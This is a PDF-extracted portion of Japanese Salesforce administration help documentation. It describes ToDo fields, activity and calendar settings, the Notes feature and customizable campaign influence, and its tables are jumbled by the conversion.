の項目には通常、テレフォニーシステムに保存されて
いる ID が自動入力されます。最大 255 文字です。

「コールバックします」や「呼び出しに失敗しまし
た」など、通話の結果を示します。最大 255 文字で

通話結果

す。Salesforceシステム管理者は、選択リストの選択肢
をカスタマイズできます。

通話種別 (着信、内線、発信) を示します。Salesforceシ
ステム管理者は、選択リストの選択肢をカスタマイズ
できます。

通話種別

ToDo の説明が含まれます。データは最大 32 KB です。
組織でスペルチェッカーが有効になっている場合は、
ユーザがコンテンツをスペルをチェックできます。

コメント

ToDo を作成したユーザとその作成日時を示します。
参照のみ。

作成者

ToDo が属するディビジョンを示します。この値は、
関連付けられている取引先、リード、ケース、カスタ

ディビジョン

ムオブジェクト (存在する場合) から継承されます。存
在しない場合、ToDo はグローバルディビジョンに属
します。ディビジョンを使用してデータを分割してい
る組織でのみ使用できます。

ToDo の期日を示します。期日

ToDo に関連付けられている取引先責任者またはリー
ドのメールアドレスが含まれます。この項目には、関

メール

連付けられている取引先責任者またはリードレコード
の値が挿入されます。

ToDo を最後に変更したユーザとその変更日時を示し
ます。この項目は参照のみです。

最終更新者

ToDo に関連付けられている取引先責任者またはリー
ドの名前が含まれます。組織で Shared Activities が有効

名前

になっている場合は、ユーザが最大 50 件の取引先責
任者を非定期的な ToDo に関連付けることができます。
この項目は、取引先責任者およびリードに対する「参
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説明項目

照」権限を持つユーザにのみ表示されます。取引先責
任者を ToDo に関連付けると、Salesforce が ToDo を関連
付ける取引先に影響する場合があります。[関連先]

項目を参照してください。

ToDo に関連付けられている取引先責任者またはリー
ドの電話番号が含まれます。この項目には、関連付け

電話

られている取引先責任者またはリードレコードの値が
挿入されます。

高、中、低など、ToDo の緊急度を示します。Salesforce

システム管理者は、選択リストの選択肢をカスタマイ
ズできます。

優先度

公開
メモ:  Summer '13 より前では、この項目は [セル
フサービスに公開] と呼ばれていました。

このチェックボックスをオンにすると、ユーザが、完
了した ToDo をセルフサービスポータルに表示するこ
とを指定できます。

メモ:  Spring '12 以降、新しい組織ではセルフサー
ビスポータルを利用できません。既存の組織は、
引き続きセルフサービスポータルを使用できま
す。

組織でコミュニティが有効になっている場合は、この
項目で、コミュニティの外部ユーザに ToDo を表示す
るかどうかを指定します。外部ユーザが ToDo を所有
している場合は、ToDo が公開とマークされているか
どうかに関係なく、コミュニティでそのユーザに ToDo

が表示されます。
この項目は、デフォルトでは表示されません。Salesforce

システム管理者は、この項目を表示できます。

取引先や商談など、ToDo を関連付けるレコードを示
します。この項目は、ユーザが ToDo をリードではな

関連先

く取引先責任者に関連付ける場合にのみ使用できま
す。このレコードは、ToDo を関連付けるレコードタ
イプに対する「参照」権限を持つユーザにのみ表示さ
れます。
ユーザが ToDo を取引先以外のオブジェクトに関連付
ける場合、Salesforceは、ToDo の取引先を次のように判
断します。
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説明項目

• ユーザが ToDo を取引先に属する商談、契約、カス
タムエンティティに関連付ける場合、Salesforceは、
そのオブジェクトの取引先を ToDo の取引先として
使用します。

• ユーザが ToDo を他のオブジェクトと取引先責任者
に関連付ける場合、Salesforce は、主取引先責任者
の取引先を ToDo の取引先として使用します。

• ユーザが [関連先] 項目を空のままにした場合、
Salesforce は取引先を ToDo に関連付けません。

「未開始」や「完了」など、ToDo の状況を示します。
Salesforceシステム管理者は、選択リストの選択肢をカ
スタマイズできます。

状況

ToDo の件名が含まれます。件名

どの選択リスト値がそのレコードで使用可能かを決定
する項目名が含まれます。使用可能なエディション

ToDo レコードタイプ

は、Professional Edition、Enterprise Edition、Unlimited

Edition、Performance Edition、および Developer Edition で
す。

メールやミーティングなど、ToDo の種別を示します。
選択リストの値の最大文字数は 40 文字です。

種類

Salesforce Classic の ToDo の項目

エディション

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

Salesforce Classicでは、ToDo の詳細を追跡して記録するための次の標準項目を使用
できます。

説明項目

ToDo のすべての通貨金額項目のデフォ
ルト通貨を示します。金額は ToDo 通貨
で表示され、ユーザの個人設定の通貨

通貨

にも変換されます。マルチ通貨を使用
する組織でのみ表示されます。

ToDo に割り当てられた所有者を示しま
す。デフォルトで、ToDo は作成者に割

割り当て先

り当てられます。この項目は、Personal

Edition では使用できません。

通話時間を秒単位で示します。Salesforce

CRM Call Centerを使用して通話に対応す
通話時間
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説明項目

ると、この項目に情報が入力されます。

サードパーティのテレフォニーシステムとのSalesforce

コンピュータテレフォニーインテグレーション (CTI) 経
通話オブジェクト ID

由で Salesforce にログされた通話の ID を示します。こ
の項目には通常、テレフォニーシステムに保存されて
いる ID が自動入力されます。最大 255 文字です。

「コールバックします」や「呼び出しに失敗しまし
た」など、通話の結果を示します。最大 255 文字で

通話結果

す。Salesforceシステム管理者は、選択リストの選択肢
をカスタマイズできます。

通話種別 (着信、内線、発信) を示します。Salesforceシ
ステム管理者は、選択リストの選択肢をカスタマイズ
できます。

通話種別

ToDo の説明が含まれます。データは最大 32 KB です。コメント

このチェックボックスをオンにすると、ユーザは一連
の定期的な ToDo を設定できます。このオプションを

定期的なToDoを作成

有効にした場合、定期的な ToDo はそれぞれ期日が異
なるため、[期日] 項目が無効になります。

ToDo を作成したユーザとその作成日時を示します。
参照のみ。

作成者

ToDo が属するディビジョンを示します。この値は、
関連付けられている取引先、リード、ケース、カスタ

ディビジョン

ムオブジェクト (存在する場合) から継承されます。存
在しない場合、ToDo はグローバルディビジョンに属
します。ディビジョンを使用してデータを分割してい
る組織でのみ使用できます。

ToDo の期日を示します。期日

ToDo に関連付けられている取引先責任者またはリー
ドのメールアドレスが含まれます。この項目には、関

メール

連付けられている取引先責任者またはリードレコード
の値が挿入されます。

ToDo を最後に変更したユーザとその変更日時を示し
ます。この項目は参照のみです。

最終更新者

ToDo に関連付けられている取引先責任者またはリー
ドの名前が含まれます。組織で Shared Activities が有効

名前

になっている場合は、ユーザが最大 50 件の取引先責
任者を非定期的な ToDo に関連付けることができます。
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説明項目

この項目は、取引先責任者およびリードに対する「参
照」権限を持つユーザにのみ表示されます。取引先責
任者を ToDo に関連付けると、Salesforce が ToDo を関連
付ける取引先に影響する場合があります。[関連先]

項目を参照してください。

ToDo に関連付けられている取引先責任者またはリー
ドの電話番号が含まれます。この項目には、関連付け

電話

られている取引先責任者またはリードレコードの値が
挿入されます。

高、中、低など、ToDo の緊急度を示します。Salesforce

システム管理者は、選択リストの選択肢をカスタマイ
ズできます。

優先度

公開
メモ:  Summer '13 より前では、この項目は [セル
フサービスに公開] と呼ばれていました。

このチェックボックスをオンにすると、ユーザが、完
了した ToDo をセルフサービスポータルに表示するこ
とを指定できます。

メモ:  Spring '12 以降、新しい組織ではセルフサー
ビスポータルを利用できません。既存の組織は、
引き続きセルフサービスポータルを使用できま
す。

組織でコミュニティが有効になっている場合は、この
項目で、コミュニティの外部ユーザに ToDo を表示す
るかどうかを指定します。外部ユーザが ToDo を所有
している場合は、ToDo が公開とマークされているか
どうかに関係なく、コミュニティでそのユーザに ToDo

が表示されます。
この項目は、デフォルトでは表示されません。Salesforce

システム管理者は、この項目を表示できます。

取引先や商談など、ToDo を関連付けるレコードを示
します。この項目は、ユーザが ToDo をリードではな

関連先

く取引先責任者に関連付ける場合にのみ使用できま
す。このレコードは、ToDo を関連付けるレコードタ
イプに対する「参照」権限を持つユーザにのみ表示さ
れます。
ユーザが ToDo を取引先以外のオブジェクトに関連付
ける場合、Salesforceは、ToDo の取引先を次のように判
断します。
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説明項目

• ユーザが ToDo を取引先に属する商談、契約、カス
タムエンティティに関連付ける場合、Salesforceは、
そのオブジェクトの取引先を ToDo の取引先として
使用します。

• ユーザが ToDo を他のオブジェクト種別と取引先責
任者に関連付ける場合、Salesforce は、主取引先責
任者の取引先を ToDo の取引先として使用します。

• ユーザが [関連先] 項目を空のままにした場合、
Salesforce は取引先を ToDo に関連付けません。

「未開始」や「完了」など、ToDo の状況を示します。
Salesforceシステム管理者は、選択リストの選択肢をカ
スタマイズできます。

状況

「顧客に見積をメールで送信」など、ToDo の件名が
含まれます。ユーザは件名を入力することも、以前に

件名

定義した件名の選択リストから選択することもできま
す。

どの選択リスト値がそのレコードで使用可能かを決定
する項目名が含まれます。使用可能なエディション

ToDo レコードタイプ

は、Professional Edition、Enterprise Edition、Unlimited

Edition、Performance Edition、および Developer Edition で
す。

メールやミーティングなど、ToDo の種別を示します。
選択リストの値の最大文字数は 40 文字です。

種類

Salesforce Classic でのメール追跡

エディション

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

HTML メールテンプレートを Salesforce Classic で使用する場合は、Salesforce でアウ
トバウンド HTML メールを完了した ToDo の種別として追跡できるようにします。
このオプションを無効にすると、メール追跡情報が Salesforce で保存されなくな
ります。ただし、メール追跡レポートは [レポート] タブに残ります。メール統
計情報をユーザに表示するには、[HTML メールの状況] 関連リストを関連するペー
ジレイアウトに追加します。

営業担当の活動のカスタマイズ
営業担当が行動、カレンダー、および ToDo を管理できる方法を最適化します。Lightning Experience、Salesforce

Classic、および Salesforce1 のカスタマイズオプションは異なります。
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行動と ToDo を一緒に管理するオプションのカスタマイズ
営業担当がリード、取引先責任者、商談、取引先に関してより正確な観点を得られるようにします。営業
担当は組み合わせた活動設定を使用して、ミーティングと ToDo を管理および追跡できます。Lightning Experience

と Salesforce Classic のオプションは異なります。
行動およびカレンダーのオプションのカスタマイズ
営業担当がミーティングとスケジュールを管理する方法を最適化します。Lightning Experience、Salesforce

Classic、および Salesforce1 のオプションは異なります。
ToDo のカスタマイズオプション
営業担当が作業を管理する方法を最適化します。Lightning Experience、Salesforce Classic、およびSalesforce1のオ
プションは異なります。

行動と ToDo を一緒に管理するオプションのカスタマイズ
営業担当がリード、取引先責任者、商談、取引先に関してより正確な観点を得られるようにします。営業担当
は組み合わせた活動設定を使用して、ミーティングと ToDo を管理および追跡できます。Lightning Experience と
Salesforce Classic のオプションは異なります。

Salesforce1Salesforce
Classic

Lightning
Experience

設定とヘルプ説明設定または機能

[設定] から、[クイック
検索] ボックスに「活

行動と ToDo のアラーム
を表示する個々の設定
をユーザが設定できる
ようにします。

活動アラームの有効化

動設定」と入力し、[活
動アラームの有効化]を
選択します。
「Salesforce Classic での活
動アラームの設定に関
する考慮事項」 (ページ
2183)と「Salesforce Classic

の活動アラーム」 (ペー
ジ1638)も参照してくだ
さい。

[設定] から、[クイック
検索] ボックスに「活

ユーザが最大50件の取
引先責任者を行動また
は ToDo に関連付けられ
るようにします。

複数の取引先責任者を
許可 (Shared Activities)

動設定」と入力し、
[ユーザが複数取引先責
任者をToDoと行動に関
連付けられるようにす
る] を選択します。
「Shared Activities の考慮
事項 (活動に複数の取引
先責任者がある場合)」
(ページ 2183)と「Shared

Activities のガイドライン
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(活動に複数の取引先責
任者がある場合)」
(ページ2184)も参照して
ください。

[設定] から、[クイック
検索] ボックスに「活

活動が取引先責任者と
関連付けられている場
合、その活動は取引先

取引先責任者の主取引
先への活動の積み上げ
集計 動設定」と入力し、[取

引先責任者のプライマ責任者の主取引先にも
表示されます。取引先 リ取引先に活動を積み

上げ集計] を選択しま責任者を複数の取引先
す。「取引先への活動に関連付けることを
の積み上げ集計方法をユーザに許可する場合
変更する場合の考慮事は、このオプションの
項」も参照してくださ
い。

選択解除をお勧めしま
す。

関連トピック:

行動およびカレンダーのオプションのカスタマイズ
ToDo のカスタマイズオプション
Lightning Experience の活動コンポーザの [電話]、[ToDo]、[行動] タブの設定

行動およびカレンダーのオプションのカスタマイズ
営業担当がミーティングとスケジュールを管理する方法を最適化します。Lightning Experience、Salesforce Classic、
および Salesforce1 のオプションは異なります。

Salesforce1Salesforce ClassicLightning
Experience

設定とヘルプ説明設定または機能

[設定] から、[ク
イック検索]ボッ

ユーザが開始か
ら 1 日 (24 時間)

を経過した後に

複数日の行動を
許可

クスに「活動設
終了する行動を 定」と入力し、
作成できるよう
にします。

[複数日の行動の
有効化]を選択し
ます。

[設定] から、[ク
イック検索]ボッ

ユーザが指定さ
れた間隔で繰り
返される行動を

定期的な行動を
許可

クスに「活動設
作成できるよう 定」と入力し、
にします。この

2209

営業担当のミーティングと ToDo の支援販売ツールの設定および管理



Salesforce1Salesforce ClassicLightning
Experience

設定とヘルプ説明設定または機能

設定を無効にす
ると、ユーザは

[定期的な行動の
作成の有効化]を
選択します。これまでどおり

既存の定期的な
行動の間隔を編
集できますが、
新しい定期的な
行動は作成でき
ません。

[設定] から、[ク
イック検索]ボッ

ユーザがマウス
ポインタを行動
の上に置いたと

[ホーム] タブのカ
レンダーのフ
ロート表示リン
クを許可

クスに「ユーザ
インターフェー
ス」と入力し、

きに行動の詳細
を表示します。

[ホームページの
行動のフロート
表示を有効化]を
選択します。

[設定] から、[ク
イック検索]ボッ

ユーザが自分の
カレンダーの日
表示または週表

ドラッグアンド
ドロップによる
カレンダーの編
集を許可

クスに「ユーザ
インターフェー
ス」と入力し、

示で行動をド
ラッグして再ス
ケジュールでき [カレンダー
るようにしま
す。

ビューでのド
ラッグアンドド
ロップ編集を有
効化]を選択しま
す。

[設定] から、[ク
イック検索]ボッ

ユーザがカレン
ダー内の時間枠
をクリックして

ユーザのカレン
ダー内のクリッ
クによる行動の
作成を許可

クスに「ユーザ
インターフェー
ス」と入力し、

行動を作成でき
るようにしま
す。 [カレンダー

ビューでのク
リック作成行動
を有効化]を選択
します。
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[設定] から、[ク
イック検索]ボッ

取引先責任者お
よびリードのリ
ストビューで、

リストビューで
のドラッグアン
ドドロップによ クスに「ユーザ

ユーザがカレンるスケジュール
を許可

インターフェー
ス」と入力し、ダーに取引先責

任者またはリー [リストビューで
ドをドラッグし のドラッグアン

ドドロップスケて行動をスケ
ジュール設定をジュールできる
有効化]を選択しようにします。
ます。「ページユーザが行動の
レイアウトおよ詳細を入力する
び項目レベルセフロート表示の
キュリティの概ミニページレイ
要」も参照して
ください。

アウトをカスタ
マイズできま
す。

[設定] から、[ク
イック検索]ボッ

ユーザが最後に
使用したカレン
ダービューへの

サイドバーカレ
ンダーショート
カットを有効化 クスに「ユーザ

インターフェーリンク ( ) を [最
近使ったデータ] ス」と入力し、
の上のサイド [サイドバーカレ
バーに表示しま
す。

ンダーショート
カットを有効化]

を選択します。

[設定] から、[ク
イック検索]ボッ

ユーザがマウス
ポインタを ToDo

の上に置いたと

私の ToDo 一覧の
リンクのフロー
ト表示を有効化 クスに「ユーザ

インターフェーきに、[ホーム] タ
ブにポップアッ ス」と入力し、
プで ToDo の詳細
を表示します。

[私の ToDo 一覧
のリンクのフ
ロート表示を有
効化]を選択しま
す。

[設定] から、[ク
イック検索]ボッ

すべてのユーザ
の日表示、週表
示、月表示のカ

マルチユーザカ
レンダービュー
での行動の詳細
の表示

クスに「活動設
定」と入力し、
[マルチユーザカ

レンダーのフ
ロート表示とし

2211

営業担当のミーティングと ToDo の支援販売ツールの設定および管理



Salesforce1Salesforce ClassicLightning
Experience

設定とヘルプ説明設定または機能

てではなく、画
面上に行動の詳

レンダービュー
に行動の詳細を
表示]を選択しま
す。

細を表示しま
す。この設定を
有効にしても、
カレンダー共有
設定は上書きさ
れません。

「Salesforce Classic

での公開カレン
マーケティング
行動、商品のリ

公開カレンダー
およびリソース

ダーまたはリリース、トレーカレンダーの作
成 ソースカレン

ダーの作成およ
ニングコース、
チームの休暇な

び管理」 (ページどのグループ活
2185)を参照してく
ださい。

動や、会議室な
どの共有リソー
スを管理するカ
レンダーを作成
します。

「Salesforce Classic

での Cloud

ユーザが顧客と
のミーティング

ミーティング要
請の設定 (Cloud
Scheduler) Scheduler の設

定」 (ページ2186)

を要請できるボ
タンを取引先責

を参照してくだ
さい。

任者、リード、
および個人取引
先の [活動予定]

関連リストに表
示します。

[設定] から、[ク
イック検索]ボッ

[ホーム] タブのカ
レンダーに [要請
済みミーティン

[ホーム] タブに
Cloud Scheduler

ミーティング要
請を表示

クスに「活動設
定」と入力し、グ] サブタブを表

示します。この [ホーム] タブの
サブタブには、 [カレンダー] セ

クションの [要請ユーザが要請
済みミーティンし、まだ確認さ
グを表示]を選択
します。

れていないミー
ティングの一覧
が表示されま
す。
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[設定] から、[ク
イック検索]ボッ

ミーティング要
請などのコミュ
ニケーションで

Cloud Scheduler

ミーティング要
請にカスタムロ
ゴを表示

クスに「活動設
定」と入力し、カスタムロゴを

表示します。行 [ミーティングの
動に招待するか お願いにカスタ

ムロゴを表示]を
選択します。

ミーティングを
要請すると、招
待者に対してロ
ゴが表示されま
す。

関連トピック:

行動と ToDo を一緒に管理するオプションのカスタマイズ
ToDo のカスタマイズオプション
Lightning Experience の活動コンポーザの [電話]、[ToDo]、[行動] タブの設定

ToDo のカスタマイズオプション
営業担当が作業を管理する方法を最適化します。Lightning Experience、Salesforce Classic、および Salesforce1 のオプ
ションは異なります。

Salesforce1Salesforce ClassicLightning
Experience

設定とヘルプ説明設定または機能

[設定] から、[ク
イック検索]ボッ

ToDo が割り当て
られたときに、
メール通知を受

ToDo の割り当て
のメール通知を
受信するかどう クスに「活動設

信するかどうかかをユーザが選
択

定」と入力し、
[ToDo 割り当て通
知に関するユー

をユーザが決定
できる設定を表
示します。 ザ制御を有効化]

を選択します。
「ToDo 割り当て
のメール通知に
関する考慮事
項」 (ページ2199)

も参照してくだ
さい。
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「Lightning

Experience での
ToDo リストの横
に表示されるア

ToDo リストのア
クションのカス
タマイズ ToDo リストのカ

スタマイズのガ
クションバーを
カスタマイズし
ます。 イドライン」

(ページ2198)を参
照してくださ
い。

[設定] から、[ク
イック検索]ボッ

ユーザが指定さ
れた間隔で繰り
返される ToDo を

定期的な ToDo を
許可

クスに「活動設
作成できるよう 定」と入力し、
にします。この [定期的な ToDo
設定を無効にす の作成の有効化]

を選択します。ると、ユーザは
これまでどおり
既存の定期的な
ToDo の間隔を編
集できますが、
新しい定期的な
ToDo は作成でき
ません。

[設定] から、[ク
イック検索]ボッ

ユーザが新規
ToDo の独立した
コピーを複数の

ユーザによる
ToDo のコピーの
割り当てを許可 クスに「活動設

定」と入力し、ユーザに割り当
てできるように
します。

[グループ ToDo

を有効化]を選択
します。

[設定] から、[ク
イック検索]ボッ

[新規 ToDo] ペー
ジで重要な ToDo

の項目を最初に
表示します。

簡単な [新規
ToDo] ページを
Salesforce1 に表示 クスに「活動設

定」と入力し、
[簡単な新規 ToDo
フォームを
Salesforce1 に表
示] を選択しま
す。
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[設定] から、[ク
イック検索]ボッ

HTML メールテン
プレートを使用
している場合

メール統計情報
の追跡および表
示 クスに「活動設

定」と入力し、に、Salesforce で
の送信 HTML メー [メール追跡を有
ルの追跡を有効
にします。

効にする]を選択
します。
「Salesforce Classic

でのメール追
跡」 (ページ2207)

も参照してくだ
さい。

関連トピック:

行動と ToDo を一緒に管理するオプションのカスタマイズ
行動およびカレンダーのオプションのカスタマイズ
Lightning Experience の活動コンポーザの [電話]、[ToDo]、[行動] タブの設定

メモ: ユーザが Salesforce で直接より適切なメモをよりすばやく作成
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce メモ取りツールの拡張バージョンである「メモ」を使用すると、ユー
ザはワークフローを合理化し、生産性を高め、Salesforce を最大限に活用できま
す。「メモ」では、ユーザが箇条書き、番号付きリスト、画像、テキスト書式
などを使用してリッチテキストのメモを作成できます。さらに、ユーザは数回
のクリック操作でメモを複数のレコードに関連付けることができます。
「メモ」は Salesforce Files の上位に構築されるため、メモに関するレポートの作
成や Chatter を使用したメモの共有など、ファイルで可能な多くの同じ操作をメ
モでも実行できます。
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メモの設定に関する考慮事項

エディション

使用可能なエディション:
Salesforce1、Salesforce
Classic、および Lightning
Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce メモ取りツールの拡張バージョンである「メモ」を設定する前に、次
の項目を考慮します。
• 組織で「メモ」を有効にすると、新しいメモは「メモ」を使用して作成され

ます。従来のメモ取りツールで作成されたメモは、その従来のツールで開き
ます。

• 「メモ」を無効にすると、ユーザは「メモ」で作成されたメモにアクセスで
きなくなります。

• パートナーポータルライセンスまたはカスタマーポータルライセンスを持つ
ユーザは、代わりに従来のメモ取りツールを使用する必要があります。

• Salesforce1 に「メモ」を設定すると、ユーザはメモで行をスワイプして ToDo

を作成できます。ユーザのプロファイルが複数の ToDo レコードタイプに割
り当てられている場合、メモから ToDo を作成するたびに、レコードタイプ
を選択し、ToDo の詳細を入力するように要求されます。ユーザのプロファイ
ルに割り当てられている ToDo レコードタイプが 1 つ以下の場合、ToDo はた
だちに作成され、ユーザに追加の詳細は要求されません。
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メモの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ページレイアウトを参照
する
• 「設定・定義を参照す

る」

ページレイアウトを編集
する
• 「アプリケーションの

カスタマイズ」

アクションレイアウトと
ページレイアウトをカス
タマイズする
• 「アプリケーションの

カスタマイズ」

ユーザがリッチテキストのメモを取れるようにするには、拡張されたメモ取り
ツールである「メモ」を設定します。

段階的な手順
1. [メモ] 関連リストがページレイアウトに含まれていることを確認します。
2. [メモ] が有効になっていることを確認します。[設定] から、[クイック検索]

ボックスに「メモの設定」と入力し、[メモの設定]を選択します。次に、[メ
モを有効化] が選択されていることを確認します。

3. ユーザが Chatter パブリッシャー、グローバルアクションメニュー、および
Salesforce1アクションバーからメモを取れるようにするため、グローバルパブ
リッシャーレイアウトの Salesforce Classicパブリッシャーの [クイックアクショ
ン] と Salesforce1 および Lightning Experience アクションセクションに [新規メモ]

クイックアクションを追加します。
4. いずれかのオブジェクトページレイアウトでグローバルパブリッシャーレイ

アウトを上書きした場合は、[新規メモ] クイックアクションをカスタムレイ
アウトにも追加します。

5. ユーザが Salesforce1 で簡単にメモを取れるようにするため、次の操作を実行
します。
a. ユーザが Salesforce1 のメモから ToDo を作成できることを確認します。[設

定] から、[クイック検索] ボックスに「活動設定」と入力し、[活動設定]

を選択します。[メモからの ToDo の作成を可能にする] を選択します。
b. 組織の Salesforce1 ナビゲーションメニューに [メモ] が表示されていること

を確認します。[設定] から、[クイック検索] ボックスに「ナビゲーショ
ン」と入力し、[Salesforce1ナビゲーション]を選択し、[メモ]を [利用可能
なリスト] から [選択されたリスト] に移動します。[スマート検索項目] の
上に置くことをお勧めします。

Salesforce1 では、ユーザはメモで行をスワイプするだけで ToDo を作成できま
す。ユーザのプロファイルに複数の ToDo レコードタイプが割り当てられている場合、ユーザは ToDo のレ
コードタイプを選択するように要求されます。
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メモのページレイアウトの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ページレイアウトをカス
タマイズする
• 「アプリケーションの

カスタマイズ」

ページレイアウトを参照
する
• 「設定・定義を参照す

る」

Winter '16 より前から Salesforce を使用している場合、ユーザがメモを表示できる
ようにページレイアウトを少し調整する必要があります。
1. この手順を実行するには、ページレイアウトの編集に慣れている必要があり

ます。
2. オブジェクトを選択し、ユーザが使用するレイアウトを選択します。
3. ページ要素カテゴリのリストで、[関連リスト] を選択します。
4. [メモ] 関連リストをページ上の表示場所にドラッグします。

ユーザが従来のメモ取りツールを使用している場合、以前のメモにアクセス
できるようにするため [メモ & 添付ファイル] 関連リストを保持します。拡張
バージョンの「メモ」で取ったメモは、[メモ] 関連リストに表示されます。

5. レイアウトを保存して、ユーザの関連リストのカスタマイズを上書きするこ
とを確認します。

6. 「メモ」を使用する他のオブジェクトについてこの手順を繰り返します。

関連トピック:

標準オブジェクトのページレイアウトの編集
カスタムオブジェクトおよび外部オブジェクトのページレイアウトの編集
メモの設定

商談へのキャンペーンの影響の追跡
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

キャンペーンが商談にどう貢献するかを追跡します。

マーケティングによるカスタマイズ可能なキャンペーンインフルエンスの効
果追跡
カスタマイズ可能なキャンペーンインフルエンスを使用すると、自分やマー
ケティング部門が、商談成立に貢献した各キャンペーンにクレジットを割り
当てる方法を決定できます。
キャンペーンインフルエンス 1.0

元のバージョンのキャンペーンインフルエンスを使用して、キャンペーンの
投資収益を把握します。
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マーケティングによるカスタマイズ可能なキャンペーンインフルエンスの効果
追跡

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

カスタマイズ可能なキャンペーンインフルエンスを使用すると、自分やマーケ
ティング部門が、商談成立に貢献した各キャンペーンにクレジットを割り当て
る方法を決定できます。

メモ: この情報は、カスタマイズ可能なキャンペーンインフルエンスにの
み適用され、元のバージョンのキャンペーンインフルエンスには適用され
ません。

カスタマイズ可能なキャンペーンインフルエンスについて
カスタマイズ可能なキャンペーンインフルエンスでは、複数のキャンペーン
にわたる柔軟な収益属性が可能であるため、ビジネスインテリジェンスの向
上、マーケティングアカウンタビリティの増大、セールスとマーケティング
の連携改善を実現できます。
キャンペーンインフルエンスとカスタマイズ可能なキャンペーンインフルエンスの違い
カスタマイズ可能なキャンペーンインフルエンスには、元のバージョンのキャンペーンインフルエンスに
はない複数の機能が含まれています。
カスタマイズ可能なキャンペーンインフルエンスの設定
カスタマイズ可能なキャンペーンインフルエンスを設定してリリースするには、次の手順を実行します。

カスタマイズ可能なキャンペーンインフルエンスについて

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

カスタマイズ可能なキャンペーンインフルエンスでは、複数のキャンペーンに
わたる柔軟な収益属性が可能であるため、ビジネスインテリジェンスの向上、
マーケティングアカウンタビリティの増大、セールスとマーケティングの連携
改善を実現できます。

メモ: この情報は、カスタマイズ可能なキャンペーンインフルエンスにの
み適用され、元のバージョンのキャンペーンインフルエンスには適用され
ません。

カスタマイズ可能なキャンペーンインフルエンスでは、複数の方法を設定して、
キャンペーンが商談に及ぼす影響を追跡できます。使用する方法ごとに、別個
のキャンペーンインフルエンス属性モデルを作成します。キャンペーンによっ
て発生した商談のクレジットをキャンペーンに割り当てる場合、マーケティン
グユーザおよび営業ユーザが手動でキャンペーンインフルエンスレコードを追
加できます。自分または自分のパートナーがトリガとプロセスを作成し、レコードを自動的に追加することも
できます。ユーザは、キャンペーンで生成した商談、および合計収益をキャンペーン詳細ページで確認できま
す。

キャンペーン属性モデル
カスタマイズ可能なキャンペーンインフルエンスには、デフォルトの Salesforce 収益属性モデルが含まれていま
す。Salesforce モデルでは、収益クレジットの 100% が商談の主キャンペーンに割り当てられ、ユーザが商談に

2219

商談へのキャンペーンの影響の追跡販売ツールの設定および管理



割り当てたその他のキャンペーンには収益クレジットが割り当てられません。より柔軟に収益をキャンペーン
に割り当てるには、自分またはパートナーがカスタム属性モデルを作成できます。
たとえば、商談のクレジットを、それに関連したすべてのキャンペーンに均等に割り当てるモデルを作成でき
ます。商談に関連する最初のキャンペーンまたは最後のキャンペーンに 100% のクレジットを割り当てるモデ
ルを作成することもできます。カスタマイズ可能なキャンペーンインフルエンスでは、ほぼどのような状況で
も、ビジネスに合ったモデルを作成できます。
セールスユーザやマーケティングユーザがキャンペーンインフルエンスレコードを追加したり編集したりでき
ないようにする場合は、属性モデルをロックできます。ロックされたモデルのレコードは、API でのみ更新で
きます。デフォルトの Salesforce モデルは常にロックされています。

キャンペーンインフルエンスレコード
キャンペーンインフルエンスレコードは、どのキャンペーンが特定の商談に影響したかを示します。どのキャ
ンペーンが商談に貢献したかをユーザが確認できるようにするには、[キャンペーンインフルエンス] 関連リス
ト (1) を商談ページレイアウトに追加します。[キャンペーンインフルエンス] 関連リストには、[設定] でプライ
マリモデルとして指定した属性モデルのレコードのみ表示されます。ユーザがキャンペーンインフルエンスレ
コードの追加と編集を商談詳細ページから行うことができるようにするには、プライマリモデルのロックを解
除したままにします。その他の属性モデルはキャンペーンインフルエンスレコードを獲得できますが、トリ
ガ、プロセス、API を経由する必要があります。

ビジネスニーズに応じて、カスタム項目をキャンペーンインフルエンスレコードに追加できます。たとえば、
キャンペーンが商談に貢献した順位を追跡する場合は、数値項目を追加できます。

キャンペーン結果
[影響を受ける商談] (1) 関連リストをキャンペーンページレイアウトに追加すると、ユーザはキャンペーンで生
成された商談の数を明確に確認できるようになります。関連リストのレコードは、システム管理者が主モデル
として割り当てたキャンペーンインフルエンスモデルに基づきます。
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キャンペーン詳細ページの [キャンペーン統計] (1) セクションには、キャンペーンのインフルエンスレコードで
の属性のパーセントに基づいて、キャンペーンで得られた収益が表示されます。[キャンペーン統計] セクショ
ンには、キャンペーンで生成された商談の現在の数、および成立した合計数も表示されます。

キャンペーンインフルエンスとカスタマイズ可能なキャンペーンインフルエンスの違い

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

カスタマイズ可能なキャンペーンインフルエンスには、元のバージョンのキャ
ンペーンインフルエンスにはない複数の機能が含まれています。

メモ: この情報は、カスタマイズ可能なキャンペーンインフルエンスにの
み適用され、元のバージョンのキャンペーンインフルエンスには適用され
ません。
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カスタマイズ可能なキャ
ンペーンインフルエンス

キャンペーンインフルエ
ンス

機能

Salesforce デフォルトモデル (商談の収益の 100% が主
キャンペーンに割り当てられる)

商談への自動関連付け

複数の属性モデル

柔軟なインフルエンス属性

ロックされたモデル

